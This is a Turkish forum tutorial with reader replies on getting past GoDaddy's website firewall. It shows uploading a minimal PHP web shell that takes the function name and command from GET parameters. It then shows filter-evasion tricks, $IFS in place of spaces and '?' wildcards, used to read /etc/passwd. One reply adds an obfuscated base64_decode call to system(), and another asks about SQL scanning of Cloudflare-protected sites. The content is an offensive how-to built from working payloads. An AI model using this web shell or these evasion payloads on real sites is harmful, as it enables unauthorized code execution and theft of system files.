Godaddy Firewall Bypass -> RCE Bypass

Selamlar,

Geçen senelerde karşılaştığım “Godaddy Firewall” sistemini nasıl atlattığımı anlatacağım. Ayrıyeten bu konu “Firewall Bypass” konusunda genel bir mantık oluşturmanızda fayda sağlayacaktır.

1) Firewall Nedir ?
2) Godaddy Firewall Bypass
3) RCE Bypass
4) Demo Uygulama


Firewall Nedir ?

Firewall, kendisine tanımlanmış kurallar çerçevesinde gelen/giden trafiği kontrol eden ve gerektiğinde bu trafiğin akışına müdahalede bulunan, bunları loglayabilen sistemlerdir. Bizim konumuzda bahsi geçen ise “Web Application Firewall” yani , web uygulamalarına gelen istekleri kontrol edip, bu istek ile kendisine tanımlı saldırı vektörlerinden biri arasında eşleme yapılması durumunda gelen isteği engellemeye yarayan yazılımlardır. Biraz basitten anlatmak gerekirse siteye SQL Injection payloadı denediğinizde, bu sitenin sizin payloadınızı yorumlaya başlamadan önce Firewall’ın araya girip buna engel olması, firewalların basit manada çalışma mantığını oluşturur.
Firewall konusunu burada bırakıyoruz, zira uzun bir konu. Biz asıl konumuz olan Godaddy Firewall üzerinden devam edip güvenliğin nasıl atlatılacağını görelim.


Godaddy Firewall Bypass

Biz burada Godaddy Firewall şeklinde bahsetsekde konu içerisinde bahsedilen yöntem, diğer farklı firewall sistemleri bypass etme işlemlerinde de kullanılıp başarılı sonuçlar alınabilir. Firewall bypass işlemlerinin genel kuralı “firewall ötmesine” sebep olan kod/payload parçacıklarımızın aynı işlevi yerine getirmesini dolaylı yollardan sağlamaktır. Kodların encode, obfuscate edilmesi bypass amacıyla gerçekleştirilen yöntemlerin en bilinenleridir ve bu yöntemler ile de Godaddy Firewall Bypass işlemi gerçekleştirilebiliyor, fakat bu yazıda bu yöntemlere değinmeyeceğiz

Godaddy Firewall, upload işlemleri sırasında yüklenen dosyanın içeriğini kontrol ediyor ve sistemde komut çalıştırabilmenizi sağlayan kodların (system, eval, shell_exec vs.) varlığı durumunda upload işlemini gerçekleştirmiyor ve sizi firewall hata sayfasına yönlendiriyor.

Bu firewall genel manada PHP de sıkça kullanılan “system” , “exec” gibi fonksiyonlar engelleyerek zararlı yazılım yüklenmesini önlemeye çalışıyor. Fakat biz bu komutları dosyamızın içeriğinde değilde yüklediğimiz dosya vasıtası ile GET methoduyla site üzerinden kullanıp atlayabilir miyiz ? Hemen test edelim …

<?php system("ls"); ?>

1

<?php echo exec("ls"); ?>

2

Görüldüğü üzere malum fonksiyonlar da “Access Denied - GoDaddy Website Firewall” yazısıyla karşı karşıya geliyoruz. Yukarıda dediğim gibi bu firewalli bypass etmek için farklı yöntemler mevcut bu yazıda bunlardan bir tanesine değineceğim, başka bir konuda diğer yöntemler ayrıyeten ele alınabilir.

Bypass için php dosyamızın içeriğini şu şekilde değiştiriyoruz ;

<?php $_GET["function"]($_GET["command"]); ?>

ve sonuç ;

3

Başarıyla upload işlemi gerçekleşti. Şimdi de bu dosya ile komut çalıştıralım.

4

Sorunsuz bir şekilde komut çalıştırabiliyoruz. Fakat aslında bir sorun var, bu soruna aşağıdaki bölümden devam edelim.


Remote Command Execution Bypass

Bu kısmı anlatmadan önce belirtmek isterim ki “Command Execution Bypass” işlemleri burada anlatılanlardan ibaret değildir. Fazlasıyla uzun bir konu, bundan dolayı bunu ayrı bir konu içerisinde detaylıca ele almayı düşünüyorum. Şimdi Godaddy Firewall’ın bulunması durumunda gerçekleştirilebilecek bypass işlemlerinden bir tanesini görelim.

Şimdi arkadaşlar yukarıda ki fotoğraflardan gördüğünüz üzere yükleme işlemi ve “pwd” komutunu çalıştırmayı başardık. Fakat “pwd” veya “ls” gibi komutlar sorunsuz çalışıyorken içerisinde “boşluk” karakteri içeren veyahut “/etc/passwd” kelimesini içeren komutlar girdiğimiz durumlarda Godaddy Firewall tekrardan ötmeye başlıyor.

-> Boşluk karakterine verdiği tepki

“cat index.php” komutu içerdiği “boşluk” karakterinden dolayı Firewall tarafından engelleniyor.

5

Bu engeli aşmak için Linux sistemlerde bulunan “IFS (Internal Field Separator)” ayıracını kullanacağız. IFS, bir yazıyı belirli karakterlere göre ayırma işlemini yapar.

6

Burada “Jonturk75:RootDevilz:Bozkurt97” şeklindeki yazımız için IFS’yi “:” olarak atadık ve dosyayı çalıştırdığımızda her bir “:” karakterine göre ayırma işlemi gerçekleştirdi.

Biz bu “$IFS” yi “Boşluk” karakterine alternatif olarak kullanabiliyoruz ve bu sayede “Boşluk” karakteri filtreli olması durumlarında filtre bypass işlemlerinde kullanabiliyoruz.

7

Evet bu sayede “index.php” dosyasını okumayı başardık.

Fakat Godaddy Firewall sadece “boşluk” karakterini değil, aynı zamanda “/etc/passwd” kelimesini de filtreliyor. Şimdi bunu inceleyelim.

-> /etc/passwd içeren payload için verdiği tepki

8

“cat$IFS/etc/passwd” komutunu girdik, boşluk karakteri için $IFS kullandık fakat yine “Godaddy Firewall” sayfası ile karşılaştık.

Bunu bypass etmenin de farklı yolları bulunuyor, bunlardan bir tanesini görelim ve olayın işleyişi üzerine konuşalım.

9

“cat$IFS/et?/passw?” gibi bir payload ile passwd dosyasını okumayı başardık. Peki bu nasıl gerçekleşti ?

Soru işareti” wildcardı Linux sistemler üzerinde karakterleri temsil eder. Yani tek bir soru işareti tek haneli , iki soru işareti iki haneli değerleri işaret eder. Şöyle bir resim ile daha rahat anlayabilirsiniz ;

10

Resmi incelerseniz “ls -l ?” yapıldığı durumda tek haneli olan “j” dosyası, “ls -l ??” yapıldığı durumda iki haneli “rr” dosyası görüntülendi.

Yani biz bypass işlemini gerçekleştirirken “/etc/passwd” yerine “/et?/passw?” girerek Linuxa başka bir şekilde /etc/passwd demiş olduk.


Demo Uygulama

Jonturk @ JRBops

15 Likes

Eline sağlık hocam ,birşey soracağım cloudflare 5 second korumasını yani under attack korumasını kullanan ve kendi cms yazılımını kullanan sitelere karşı nasıl bir sql taraması yapabiliriz hocam ?

Akliniza sağlik cokda detayli anlattiniz
Konuyla alakali degil ama bu cagefs cloud linuxs icinde bypass gelistirme yapabilecegimiz ,herseyi okuyoruz ama belli basli sw ler haric config okumuyor bi onu gecemedik sizdede varsa gelistirdiiniz yontemeler insalla yararli bir dokuman cikarmak sizdende beklerim kolay gelsin .

cloudflare dahil, bir çok cloud - firewall sistemler yukarıda bahsettiğim mantık ile çalışıyor. sistemin farkına varmadan işlemleri yapmanın yolunu bulmak gerekmektedir, veyahut daha çok üzerine uğraşılan konu cloudflare atlatıp gerçek ip adresi üzerinden işlemleri yapmak. cloudflare hk. detaylı konularımız yakın zamanda gelicektir büyük ihtimalle.

bu sıralar biraz vakit sıkıntısı çekiyoruz. bu nedenle konular biraz yavaştan geliyor, fırsat buldukça her alandan konular açacağız.

3 Likes

Elinize sağlık. Komutları base64 Mantığıyla Kullanarak daha temiz bi iş yapılabilir aslında bazen bi komutu yazı(kelime) olarak engelleyen hostinglerde oluyor.

$b0ru70 = 'bas'.'e'. 32*2 .'_' .'d'.'ecod'.'e';
system($b0ru70("bHM="))

gibi.

1 Like